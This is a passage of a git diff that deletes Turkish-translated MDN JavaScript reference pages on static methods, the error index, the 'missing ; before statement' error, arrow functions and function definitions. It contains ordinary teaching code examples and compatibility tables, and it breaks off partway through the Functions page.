Web/JavaScript/Reference/Classes/static ---- -<div>{{jsSidebar("Classes")}}</div> - -<p><strong>static </strong>anahtar kelimesi, bir sınıf için statik bir metod tanımlar.</p> - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox">static metodAdi() { ... }</pre> - -<h2 id="Description">Description</h2> - -<p>Statik metodlar, kendi sınıfları gerçeklenmeden çağırılır ve aynı zamanda sınıf gerçeklendiği anda çağrılabilir olma özelliklerini yitirirler. Statik metodlar, bir uygulama için yardımcı fonksiyonlar tanımlamak için kullanılırlar.</p> - -<h2 id="Examples">Examples</h2> - -<p>Aşağıdaki örnek, bir statik metodun sınıfa nasıl entegre edildiğini ve statik metodu olan başka bir sınıfın onun içerisinde nasıl kullanıldığını gösteriyor. Son olarak, statik bir metodun nasıl çağırıldığını ve çağrılma özelliğini nasıl yitirdiğini gösteriyor. </p> - -<pre class="brush: js">class Triple { - static triple(n) { - n = n || 1; //should not be a bitwise operation - return n * 3; - } -} - -class BiggerTriple extends Triple { - static triple(n) { - return super.triple(n) * super.triple(n); - } -} - -console.log(Triple.triple()); // 3 -console.log(Triple.triple(6)); // 18 -console.log(BiggerTriple.triple(3)); // 81 -var tp = new Triple(); -console.log(BiggerTriple.triple(3)); // 81 (not affected by parent's instantiation) -console.log(tp.triple()); // 'tp.triple is not a function'.</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES6', '#sec-class-definitions', 'Class definitions')}}</td> - <td>{{Spec2('ES6')}}</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p>{{CompatibilityTable}}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatChrome(42.0)}}</td> - <td>{{CompatGeckoDesktop(45)}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Mobile</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - <th>Chrome for Android</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatNo}}</td> - <td>{{CompatGeckoMobile(45)}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatChrome(42.0)}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/class"><code>class</code> expression</a></li> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/class"><code>class</code> declaration</a></li> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></li> -</ul> diff --git a/files/tr/web/javascript/reference/errors/index.html b/files/tr/web/javascript/reference/errors/index.html deleted file mode 100644 index c295fccea6..0000000000 --- a/files/tr/web/javascript/reference/errors/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: JavaScript error reference -slug: Web/JavaScript/Reference/Errors -tags: - - Debugging - - Error - - Errors - - Exception - - JavaScript - - NeedsTranslation - - TopicStub - - exceptions -translation_of: Web/JavaScript/Reference/Errors ---- -<p>{{jsSidebar("Errors")}}</p> - -<p>Below, you'll find a list of errors which are thrown by JavaScript. These errors can be a helpful debugging aid, but the reported problem isn't always immediately clear. The pages below will provide additional details about these errors. Each error is an object based upon the {{jsxref("Error")}} object, and has a <code>name</code> and a <code>message</code>.</p> - -<p>Errors displayed in the Web console may include a link to the corresponding page below to help you quickly comprehend the problem in your code.</p> - -<h2 id="List_of_errors">List of errors</h2> - -<p>In this list, each page is listed by name (the type of error) and message (a more detailed human-readable error message). Together, these two properties provide a starting point toward understanding and resolving the error. For more information, follow the links below!</p> - -<p>{{ListSubPages("/en-US/docs/Web/JavaScript/Reference/Errors")}}</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a>: Beginner's introductory tutorial on fixing JavaScript errors.</li> -</ul> diff --git a/files/tr/web/javascript/reference/errors/missing_semicolon_before_statement/index.html b/files/tr/web/javascript/reference/errors/missing_semicolon_before_statement/index.html deleted file mode 100644 index 2a811725bf..0000000000 --- a/files/tr/web/javascript/reference/errors/missing_semicolon_before_statement/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: 'SyntaxError: missing ; before statement' -slug: Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement -tags: - - JavaScript - - Noktalı virgül - - Sentaks Hatası -translation_of: Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement ---- -<div> -<p>{{jsSidebar("Errors")}}</p> - -<h2 id="Mesaj">Mesaj</h2> - -<pre>Syntax Error: Missing ; before statement -//Sentaks Hatası: ifadeden önce ; eksik -</pre> - -<h2 id="Hata_Tipi">Hata Tipi</h2> - -<p>{{jsxref("SyntaxError")}}.</p> - -<h2 id="Ne_Ters_Gitti">Ne Ters Gitti?</h2> - -<p>Kodunuzda bir yerlerde noktalı virgül (<code>;</code>) eksik. <a href="/en-US/docs/Web/JavaScript/Reference/Statements">JavaScript ifadeleri</a> noktalı virgül ile sonlandırılmalıdır. Bu ifadelerden bazılarına <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">otomatik noktalı virgül eklenmektedir (ASI)</a>, fakat bu durumda, JavaScript'in kaynak kodunu doğru bir şekilde çözümleyebilmesi için noktalı virgülü sizin eklemeniz gerekmektedir. </p> - -<p>Bununla birlikte, çoğunlukla bu hata, başka bir hatanın sonucudur, <code>var</code> ifadesinin yanlış kullanımı, string ifadelerinin yazımında tırnakların yanlış kullanımı sebebiyle olabilir, belki de bir yerlerde fazladan bir parantez unuttunuz. Bu hata ile karşılaştığınızda, sentaksınızı kontrol edin, yazım hatalarınızı gözden geçirin.<br> - </p> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="Kaçınılan_metin_ifadeleri">Kaçınılan metin ifadeleri</h3> - -<p>Metin ifadelerindeki tırnak kullanımında, metin içinde yer almakta olan tırnakları görüntülemek için önlerine \ yatay çizgi koymalısınız ki JavaScript motoru, sizin metin ifadenizin çoktan bitmiş olduğu izlenimine kapılmasın. Örnek olarak:</p> - -<pre>var foo = 'Tomris'in barı'; -Sentaks Hatası: ifadeden önce ; eksik</pre> - -<p>Çift tırnak kullanarak tek tırnağın yanlış kullanımından kaçınabilirsiniz. </p> - -<pre>var foo = "Tomris'in barı"; -var foo = 'Tomris\'in barı'; -</pre> - -<h3 id="var_ile_Özellikleri_Deklare_Etmek">var ile Özellikleri Deklare Etmek</h3> - -<p>var ile bir nesneye veya diziye ait bir özellik <strong>tanımlayamazsınız</strong>. </p> - -<pre>var nesne = {}; -var nesne.foo = 'hey'; Sentaks Hatası: ifadeden önce ; eksik - -var dizi = []; -var dizi[0] = 'selam'; Sentaks Hatası: ifadeden önce ; eksik -</pre> - -<p>Bunun yerine, <code>var</code> anahtar sözcüğünü kaldırın:</p> - -<pre>var nesne = {}; -nesne.foo = 'hey'; - -var dizi= []; -dizi[0] = 'selam'; -</pre> - -<h2 id="Ayrıca_Göz_Atın">Ayrıca Göz Atın</h2> - -<ul> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">Otomatik noktalı virgül eklenmesi (ASI)</a></li> - <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements">JavaScript ifadeleri</a></li> -</ul> -</div> diff --git a/files/tr/web/javascript/reference/functions/arrow_functions/index.html b/files/tr/web/javascript/reference/functions/arrow_functions/index.html deleted file mode 100644 index 68d6fb3cc7..0000000000 --- a/files/tr/web/javascript/reference/functions/arrow_functions/index.html +++ /dev/null @@ -1,359 +0,0 @@ ---- -title: Arrow functions -slug: Web/JavaScript/Reference/Functions/Arrow_functions -translation_of: Web/JavaScript/Reference/Functions/Arrow_functions ---- -<div>{{jsSidebar("Functions")}}</div> - -<div>Arrow fonksiyonlar normal fonksiyonların kısa yoldan yazılabilen türüdür ve kendi içerisinde <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code>, <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a>, <a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super</a>, ya da <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new.target">new.target</a> erişimine sahip değildir. Bu fonksiyon tanımlaması özellikle methodsuz fonksiyonlar için çok uygundur. Constructor olarak kullanılamaz. </div> - -<h2 id="Söz_Dizimi">Söz Dizimi</h2> - -<h3 id="Temel_Söz_Dizimi">Temel Söz Dizimi</h3> - -<pre class="syntaxbox notranslate"><strong>(</strong><em>param1</em>, <em>param2</em>, …, <em>paramN</em><strong>) => {</strong> <em>statements</em> <strong>}</strong> -<strong>(</strong><em>param1</em>, <em>param2</em>, …, <em>paramN</em><strong>) =></strong> <em>expression</em> -// buna eşittir: <strong>(</strong><em>param1</em>, <em>param2</em>, …, <em>paramN</em><strong>)</strong> => { return <em>expression</em>; } - -// Eğer tek parametre var ise parantezsiz kullanılabilir: -<em>(singleParam)</em> <strong>=> {</strong> <em>statements</em> <strong>}</strong> -<em>singleParam</em> <strong>=></strong> { <em>statements </em>} -<em>singleParam</em> <strong>=></strong> <em>expression</em> - - -// Parametre beklenmeyen durumlarda parantez çifti kullanılmalıdır -() => { <em>statements</em> } -</pre> - -<h3 id="İleri_Düzey_Söz_Dizimi">İleri Düzey Söz Dizimi</h3> - -<pre class="syntaxbox notranslate">// Parantez çifti kullanılarak obje tipi veri dönüşü yapılır. -<em>params</em> => ({<em>foo: bar</em>}) - -// <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">Rest parameters</a> ve <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">default parameters</a> desteklenmektedir -(<em>param1</em>, <em>param2</em>, <strong>...rest</strong>) => { <em>statements</em> } -(<em>param1</em> <strong>= defaultValue1</strong>, <em>param2</em>, …, paramN <strong>= defaultValueN</strong>) => { <em>statements</em> } - -// <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">Destructuring</a> parametre listesi içinde de desteklenir -let f = ([a, b] = [1, 2], {x: c} = {x: a + b}) => a + b + c; -f(); -// 6 -</pre> - -<h2 id="Description">Description</h2> - -<p>Şunu da inceleyin <a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">"ES6 In Depth: Arrow functions" on hacks.mozilla.org</a>.</p> - -<p>Arrow fonksiyonlarının iki dikkat çekici özelliği vardır: daha kısa fonksiyonlara ihtiyaç ve <code>this</code> anahtar kelimesinin kullanımı.</p> - -<h3 id="Kısa_fonksiyonlar">Kısa fonksiyonlar</h3> - -<pre class="brush: js notranslate">var materials = [ - 'Hydrogen', - 'Helium', - 'Lithium', - 'Beryllium' -]; - -materials.<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>(function(material) { - return material.length; -}); // [8, 6, 7, 9] - -materials.<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>((material) => { - return material.length; -}); // [8, 6, 7, 9] - -materials.<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map">map</a>(({length}) => length); // [8, 6, 7, 9] -</pre> - -<h3 id="No_separate_this">No separate <code>this</code></h3> - -<p>Arrow fonksiyonlara kadar, her yeni fonksiyon nasıl çağrıldığına bağlı olarak kendi this değerini belirlerdi:</p> - -<p>Constructor durumunda yeni bir nesne.<br> - Strict mode fonksiyon çağrılması durumunda undefined.<br> - Eğer fonksiyon "nesne metodu" olarak çağrılmışsa temel nesne.<br> - etc.<br> - <br> - Bu kullanım nesne-yönelimli programla içerisinde ideal kullanım değildi.</p> - -<pre class="brush: js notranslate">function Person() { - // The Person() fonksiyonu kendini temsil eden this değerini oluşturuyor - this.age = 0; - - setInterval(function growUp() { - // non-strict modda, growUp() fonksiyonuda her fonksiyon gibi - // kendi this değerini tanımlar - // bu sayede bir üstteki this değerine artık ulaşamıyor oluruz - this.age++; //bu işlem Person() fonksiyonundaki age değerine işlemez. - }, 1000); -} - -var p = new Person();</pre> - -<p>ECMAScript 3/5'te bu <code>this</code> sorunu this değerinin başka bir değişkene atanarak aşılabilmekteydi.</p> - -<pre class="brush: js notranslate">function Person() { - var that = this; - that.age = 0; - - setInterval(function growUp() { - // 'that' bir üstteki this değerine etki eder. - that.age++; - }, 1000); -}</pre> - -<p>Alternatif olarak, <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">bound function</a> tanımlaması yaparak önceden atanmış <code>this</code> değeri <code>growUp() </code>fonksiyonuna bu işlevi kazandırabilir.</p> - -<p>Fakat arrow fonksiyonlar kendi <code>this</code> değerine sahip değildir; kapsayıcı yürütme fonksiyonunun <code>this</code> değeri kullanılır. Böylelikle aşağıdaki örnekte olduğu gibi <code>setInterval</code>'e atanmış arrow fonksiyon kendi <code>this</code> değeri olmadığı için <code>Person()</code> fonksiyonunun this değerine etki eder.</p> - -<pre class="brush: js notranslate">function Person(){ - this.age = 0; - - setInterval(() => { - this.age++; // |this| person objesine atıfta bulunur - }, 1000); -} - -var p = new Person();</pre> - -<h4 id="Strict_mode_ile_ilişkisi">Strict mode ile ilişkisi</h4> - -<p>Kapsayıcı sözcüksel bağlamından gelen <code>this</code> değeri, <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a> kuralları uygulandığında görmezden gelinir</p> - -<pre class="brush: js notranslate">var f = () => { 'use strict'; return this; }; -f() === window; // or the global object</pre> - -<p>Diğer strict mode kuralları normal olarak geçerlidir.</p> - -<h4 id="Invoked_through_call_or_apply">Invoked through call or apply</h4> - -<p>Arrow fonksiyonların <code>this</code> değeri olmadığı için, <code>call()</code> ve <code>apply()</code> methotları sadece parametre verilebilir. <code>thisArg</code> görmezden gelinir.</p> - -<pre class="brush: js notranslate">var adder = { - base: 1, - - add: function(a) { - var f = v => v + this.base; - return f(a); - }, - - addThruCall: function(a) { - var f = v => v + this.base; - var b = { - base: 2 - }; - - return f.call(b, a); - } -}; - -console.log(adder.add(1)); // This would log to 2 -console.log(adder.addThruCall(1)); // This would log to 2 still</pre> - -<h3 id="No_binding_of_arguments">No binding of <code>arguments</code></h3> - -<p>Arrow functions do not have their own <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments"><code>arguments</code> object</a>. Thus, in this example, <code>arguments</code> is simply a reference to the the arguments of the enclosing scope:</p> - -<pre class="brush: js notranslate">var arguments = [1, 2, 3]; -var arr = () => arguments[0]; - -arr(); // 1 - -function foo(n) { - var f = () => arguments[0] + n; // <em>foo</em>'s implicit arguments binding. arguments[0] is n - return f(10); -} - -foo(1); // 2</pre> - -<p>Çoğu durumda <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest parametreleri</a>, <code>arguments</code> nesnesinin iyi bir alternatifidir.</p> - -<pre class="brush: js notranslate">function foo(n) { - var f = (...args) => args[0] + n; - return f(10); -} - -foo(1); // 11</pre> - -<h3 id="Method_olarak_kullanılan_Arrow_fonksiyonları">Method olarak kullanılan Arrow fonksiyonları</h3> - -<p>As stated previously, arrow function expressions are best suited for non-method functions. Let's see what happens when we try to use them as methods:</p> - -<pre class="brush: js notranslate">'use strict'; -var obj = { - i: 10, - b: () => console.log(this.i, this), - c: function() { - console.log(this.i, this); - } -} -obj.b(); // prints undefined, Window {...} (or the global object) -obj.c(); // prints 10, Object {...}</pre> - -<p>Arrow functions do not have their own <code>this</code>. Another example involving {{jsxref("Object.defineProperty()")}}:</p> - -<pre class="brush: js notranslate">'use strict'; -var obj = { - a: 10 -}; - -Object.defineProperty(obj, 'b', { - get: () => { - console.log(this.a, typeof this.a, this); - return this.a + 10; // represents global object 'Window', therefore 'this.a' returns 'undefined' - } -}); -</pre> - -<h3 id="new_operatörü_kullanımı"><code>new</code> operatörü kullanımı</h3> - -<p>Arrow functions cannot be used as constructors and will throw an error when used with <code>new</code>.</p> - -<pre class="brush: js notranslate">var Foo = () => {}; -var foo = new Foo(); // TypeError: Foo is not a constructor</pre> - -<h3 id="prototype_özelliği_kullanımı"><code>prototype</code> özelliği kullanımı</h3> - -<p>Arrow fonksiyonlarının <code>prototype</code> özelliği yoktur.</p> - -<pre class="brush: js notranslate">var Foo = () => {}; -console.log(Foo.prototype); // undefined -</pre> - -<h3 id="yield_anahtarının_kullanımı"><code>yield</code> anahtarının kullanımı</h3> - -<p>The <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/yield">yield</a></code> keyword may not be used in an arrow function's body (except when permitted within functions further nested within it). As a consequence, arrow functions cannot be used as generators.</p> - -<h2 id="Function_body">Function body</h2> - -<p>Arrow functions can have either a "concise body" or the usual "block body".</p> - -<p>In a concise body, only an expression is specified, which becomes the explicit return value. In a block body, you must use an explicit <code>return</code> statement.</p> - -<pre class="brush: js notranslate">var func = x => x * x; -// concise body syntax, implied "return" - -var func = (x, y) => { return x + y; }; -// with block body, explicit "return" needed -</pre> - -<h2 id="Returning_object_literals">Returning object literals</h2> - -<p>Keep in mind that returning object literals using the concise body syntax <code>params => {object:literal}</code> will not work as expected.</p> - -<pre class="brush: js notranslate">var func = () => { foo: 1 }; -// Calling func() returns undefined! - -var func = () => { foo: function() {} }; -// SyntaxError: function statement requires a name</pre> - -<p>This is because the code inside braces ({}) is parsed as a sequence of statements (i.e. <code>foo</code> is treated like a label, not a key in an object literal).</p> - -<p>Remember to wrap the object literal in parentheses.</p> - -<pre class="brush: js notranslate">var func = () => ({foo: 1});</pre> - -<h2 id="Line_breaks">Line breaks</h2> - -<p>An arrow function cannot contain a line break between its parameters and its arrow.</p> - -<pre class="brush: js notranslate">var func = () - => 1; -// SyntaxError: expected expression, got '=>'</pre> - -<h2 id="Parsing_order">Parsing order</h2> - -<p>Although the arrow in an arrow function is not an operator, arrow functions have special parsing rules that interact differently with <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">operator precedence</a> compared to regular functions.</p> - -<pre class="brush: js notranslate">let callback; - -callback = callback || function() {}; // ok - -callback = callback || () => {}; -// SyntaxError: invalid arrow-function arguments - -callback = callback || (() => {}); // ok -</pre> - -<h2 id="More_examples">More examples</h2> - -<pre class="brush: js notranslate">// An empty arrow function returns undefined -let empty = () => {}; - -(() => 'foobar')(); -// Returns "foobar" -// (this is an Immediately Invoked Function Expression -// see 'IIFE' in glossary) - -var simple = a => a > 15 ? 15 : a; -simple(16); // 15 -simple(10); // 10 - -let max = (a, b) => a > b ? a : b; - -// Easy array filtering, mapping, ... - -var arr = [5, 6, 13, 0, 1, 18, 23]; - -var sum = arr.reduce((a, b) => a + b); -// 66 - -var even = arr.filter(v => v % 2 == 0); -// [6, 0, 18] - -var double = arr.map(v => v * 2); -// [10, 12, 26, 0, 2, 36, 46] - -// More concise promise chains -promise.then(a => { - // ... -}).then(b => { - // ... -}); - -// Parameterless arrow functions that are visually easier to parse -setTimeout( () => { - console.log('I happen sooner'); - setTimeout( () => { - // deeper code - console.log('I happen later'); - }, 1); -}, 1); -</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES2015', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}</td> - <td>{{Spec2('ES2015')}}</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-arrow-function-definitions', 'Arrow Function Definitions')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td></td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div> - - -<p>{{Compat("javascript.functions.arrow_functions")}}</p> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">"ES6 In Depth: Arrow functions" on hacks.mozilla.org</a></li> -</ul> diff --git a/files/tr/web/javascript/reference/functions/index.html b/files/tr/web/javascript/reference/functions/index.html deleted file mode 100644 index 0b67f9aa30..0000000000 --- a/files/tr/web/javascript/reference/functions/index.html +++ /dev/null @@ -1,596 +0,0 @@ ---- -title: Functions -slug: Web/JavaScript/Reference/Functions -tags: - - Constructor - - Function - - Functions - - JavaScript - - NeedsTranslation - - Parameter - - TopicStub - - parameters -translation_of: Web/JavaScript/Reference/Functions ---- -<div>{{jsSidebar("Functions")}}</div> - -<p>Generally speaking, a function is a "subprogram" that can be <em>called</em> by code external (or internal in the case of recursion) to the function. Like the program itself, a function is composed of a sequence of statements called the <em>function body</em>. Values can be <em>passed</em> to a function, and the function will <em>return</em> a value.</p> - -<p>In JavaScript, functions are first-class objects, because they can have properties and methods just like any other object. What distinguishes them from other objects is that functions can be called. In brief, they are <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function">Function</a></code> objects.</p> - -<p>For more examples and explanations, see also the <a href="/en-US/docs/Web/JavaScript/Guide/Functions">JavaScript guide about functions</a>.</p> - -<h2 id="Description">Description</h2> - -<p>Every function in JavaScript is a <code>Function</code> object. See {{jsxref("Function")}} for information on properties and methods of <code>Function</code> objects.</p> - -<p>To return a value other than the default, a function must have a <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/return">return</a></code> statement that specifies the value to return. A function without a return statement will return a default value. In the case of a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor">constructor</a> called with the <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a></code> keyword, the default value is the value of its <code>this</code> parameter. For all other functions, the default return value is {{jsxref("undefined")}}.</p> - -<p>The parameters of a function call are the function's <em>arguments</em>. Arguments are passed to functions <em>by value</em>. If the function changes the value of an argument, this change is not reflected globally or in the calling function. However, object references are values, too, and they are special: if the function changes the referred object's properties, that change is visible outside the function, as shown in the following example:</p> - -<pre class="brush: js">/* Declare the function 'myFunc' */ -function myFunc(theObject) { - theObject.brand = "Toyota"; -} - -/* - * Declare variable 'mycar'; - * create and initialize a new Object; - * assign reference to it to 'mycar' - */ -var mycar = { - brand: "Honda", - model: "Accord", - year: 1998 -}; - -/* Logs 'Honda' */ -console.log(mycar.brand); - -/* Pass object reference to the function */ -myFunc(mycar); - -/* - * Logs 'Toyota' as the value of the 'brand' property - * of the object, as changed to by the function. - */ -console.log(mycar.brand); -</pre> - -<p>The <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this"><code>this</code> keyword</a> does not refer to the currently executing function, so you must refer to <code>Function</code> objects by name, even within the function body.</p> - -<h2 id="Defining_functions">Defining functions</h2> - -<p>There are several ways to define functions:</p> - -<h3 id="The_function_declaration_(function_statement)">The function declaration (<code>function</code> statement)</h3> - -<p>There is a special syntax for declaring functions (see <a href="/en-US/docs/Web/JavaScript/Reference/Statements/function">function statement</a> for details):</p> - -<pre class="syntaxbox">function <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) { - <em>statements</em> -} -</pre> - -<dl> - <dt><code>name</code></dt> - <dd>The function name.</dd> -</dl> - -<dl> - <dt><code>param</code></dt> - <dd>The name of an argument to be passed to the function. A function can have up to 255 arguments.</dd> -</dl> - -<dl> - <dt><code>statements</code></dt> - <dd>The statements comprising the body of the function.</dd> -</dl> - -<h3 id="The_function_expression_(function_expression)">The function expression (<code>function</code> expression)</h3> - -<p>A function expression is similar to and has the same syntax as a function declaration (see <a href="/en-US/docs/Web/JavaScript/Reference/Operators/function">function expression</a> for details). A function expression may be a part of a larger expression. One can define "named" function expressions (where the name of the expression might be used in the call stack for example) or "anonymous" function expressions. Function expressions are not <em>hoisted</em> onto the beginning of the scope, therefore they cannot be used before they appear in the code.</p> - -<pre class="syntaxbox">function [<em>name</em>]([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) { - <em>statements</em> -} -</pre> - -<dl> - <dt><code>name</code></dt> - <dd>The function name. Can be omitted, in which case the function becomes known as an anonymous function.</dd> -</dl> - -<dl> - <dt><code>param</code></dt> - <dd>The name of an argument to be passed to the function. A function can have up to 255 arguments.</dd> - <dt><code>statements</code></dt> - <dd>The statements comprising the body of the function.</dd> -</dl> - -<p>Here is an example of an <strong>anonymous</strong> function expression (the <code>name</code> is not used):</p> - -<pre class="brush: js">var myFunction = function() { - statements -}</pre> - -<p>It is also possible to provide a name inside the definition in order to create a <strong>named</strong> function expression:</p> - -<pre class="brush: js">var myFunction = function namedFunction(){ - statements -} -</pre> - -<p>One of the benefit of creating a named function expression is that in case we encounted an error, the stack trace will contain the name of the function, making it easier to find the origin of the error.</p> - -<p>As we can see, both examples do not start with the <code>function</code> keyword. Statements involving functions which do not start with <code>function</code> are function expressions.</p> - -<p>When functions are used only once, a common pattern is an <strong>IIFE (<em>Immediately Invokable Function Expression</em>)</strong>.</p> - -<pre class="brush: js">(function() { - statements -})();</pre> - -<p>IIFE are function expressions that are invoked as soon as the function is declared.</p> - -<h3 id="The_generator_function_declaration_(function*_statement)">The generator function declaration (<code>function*</code> statement)</h3> - -<p>There is a special syntax for generator function declarations (see {{jsxref('Statements/function*', 'function* statement')}} for details):</p> - -<pre class="syntaxbox">function* <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) { - <em>statements</em> -} -</pre> - -<dl> - <dt><code>name</code></dt> - <dd>The function name.</dd> -</dl> - -<dl> - <dt><code>param</code></dt> - <dd>The name of an argument to be passed to the function. A function can have up to 255 arguments.</dd> -</dl> - -<dl> - <dt><code>statements</code></dt> - <dd>The statements comprising the body of the function.</dd> -</dl> - -<h3 id="The_generator_function_expression_(function*_expression)">The generator function expression (<code>function*</code> expression)</h3> - -<p>A generator function expression is similar to and has the same syntax as a generator function declaration (see {{jsxref('Operators/function*', 'function* expression')}} for details):</p> - -<pre class="syntaxbox">function* [<em>name</em>]([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) { - <em>statements</em> -} -</pre> - -<dl> - <dt><code>name</code></dt> - <dd>The function name. Can be omitted, in which case the function becomes known as an anonymous function.</dd> -</dl> - -<dl> - <dt><code>param</code></dt> - <dd>The name of an argument to be passed to the function. A function can have up to 255 arguments.</dd> - <dt><code>statements</code></dt> - <dd>The statements comprising the body of the function.</dd> -</dl> - -<h3 id="The_arrow_function_expression_(>)">The arrow function expression (=>)</h3> - -<p>An arrow function expression has a shorter syntax and lexically binds its <code>this</code> value (see <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow functions</a> for details):</p> - -<pre class="syntaxbox">([param[, param]]) => { - statements -} - -param => expression -</pre> - -<dl> - <dt><code>param</code></dt> - <dd>The name of an argument. Zero arguments need to be indicated with <code>()</code>. For only one argument, the parentheses are not required. (like <code>foo => 1</code>)</dd> - <dt><code>statements or expression</code></dt> - <dd>Multiple statements need to be enclosed in brackets. A single expression requires no brackets. The expression is also the implicit return value of the function.</dd> -</dl> - -<h3 id="The_Function_constructor">The <code>Function</code> constructor</h3> - -<div class="note"> -<p><strong>Note:</strong> Using the <code>Function</code> constructor to create functions is not recommended since it needs the function body as a string which may prevent some JS engine optimizations and can also cause other problems.</p> -</div> - -<p>As all other objects, {{jsxref("Function")}} objects can be created using the <code>new</code> operator:</p> - -<pre class="syntaxbox">new Function (<em>arg1</em>, <em>arg2</em>, ... <em>argN</em>, <em>functionBody</em>) -</pre> - -<dl> - <dt><code>arg1, arg2, ... arg<em>N</em></code></dt> - <dd>Zero or more names to be used by the function as formal parameters. Each must be a proper JavaScript identifier.</dd> -</dl> - -<dl> - <dt><code>functionBody</code></dt> - <dd>A string containing the JavaScript statements comprising the function body.</dd> -</dl> - -<p>Invoking the <code>Function</code> constructor as a function (without using the <code>new</code> operator) has the same effect as invoking it as a constructor.</p> - -<h3 id="The_GeneratorFunction_constructor">The <code>GeneratorFunction</code> constructor</h3> - -<div class="note"> -<p><strong>Note:</strong> <code>GeneratorFunction</code> is not a global object, but could be obtained from generator function instance (see {{jsxref("GeneratorFunction")}} for more detail).</p> -</div> - -<div class="note"> -<p><strong>Note:</strong> Using the <code>GeneratorFunction</code> constructor to create functions is not recommended since it needs the function body as a string which may prevent some JS engine optimizations and can also cause other problems.</p> -</div> - -<p>As all other objects, {{jsxref("GeneratorFunction")}} objects can be created using the <code>new</code> operator:</p> - -<pre class="syntaxbox">new GeneratorFunction (<em>arg1</em>, <em>arg2</em>, ... <em>argN</em>, <em>functionBody</em>) -</pre> - -<dl> - <dt><code>arg1, arg2, ... arg<em>N</em></code></dt> - <dd>Zero or more names to be used by the function as formal argument names. Each must be a string that conforms to the rules for a valid JavaScript identifier or a list of such strings separated with a comma; for example "<code>x</code>", "<code>theValue</code>", or "<code>a,b</code>".</dd> -</dl> - -<dl> - <dt><code>functionBody</code></dt> - <dd>A string containing the JavaScript statements comprising the function definition.</dd> -</dl> - -<p>Invoking the <code>Function</code> constructor as a function (without using the <code>new</code> operator) has the same effect as invoking it as a constructor.</p> - -<h2 id="Function_parameters">Function parameters</h2> - -<h3 id="Default_parameters">Default parameters</h3> - -<p>Default function parameters allow formal parameters to be 